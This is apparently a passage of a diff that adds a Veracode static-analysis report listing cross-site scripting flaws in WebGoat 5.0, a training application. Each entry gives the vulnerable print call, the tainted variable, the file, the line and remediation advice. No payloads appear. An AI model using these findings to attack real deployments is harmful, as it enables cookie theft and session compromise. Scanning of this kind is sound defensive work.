+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"180\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"60\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"101\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getRestartLink().
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"194\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"64\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"90\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.println\" description=\"This call to javax.servlet.jsp.JspWriter.println()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to println() contains tainted data from the variable printParameters.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"212\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"73\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"16\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.println\" description=\"This call to javax.servlet.jsp.JspWriter.println()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to println() contains tainted data from the variable printCookies.
+        The tainted data originated from an earlier call to javax.servlet.http.httpservletrequest.getcookies.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"223\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"79\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"269\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getMessage().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.http.httpservletrequest.getcookies, and javax.servlet.http.httpservletrequest.getheader.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"231\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"84\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"103\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable searchedName.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SearchStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.SearchStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"187\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable searchedName.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SearchStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.SearchStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"193\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable searchedName.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SearchStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.SearchStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"121\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.io.PrintWriter.print\" description=\"This call to java.io.PrintWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable result.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparametervalues.
+        The tainted data is directed into an output stream returned by javax.servlet.servletresponse.getoutputstream.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SilentTransactions.java\"
+        line=\"94\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.SilentTransactions\"
+        functionprototype=\"void handleRequest(session.WebSession)\" functionrelativelocation=\"52\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"23\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"9\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"16\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"35\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"9\" sourcefilepath=\"/lessons/SQLInjection/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"16\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"256\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
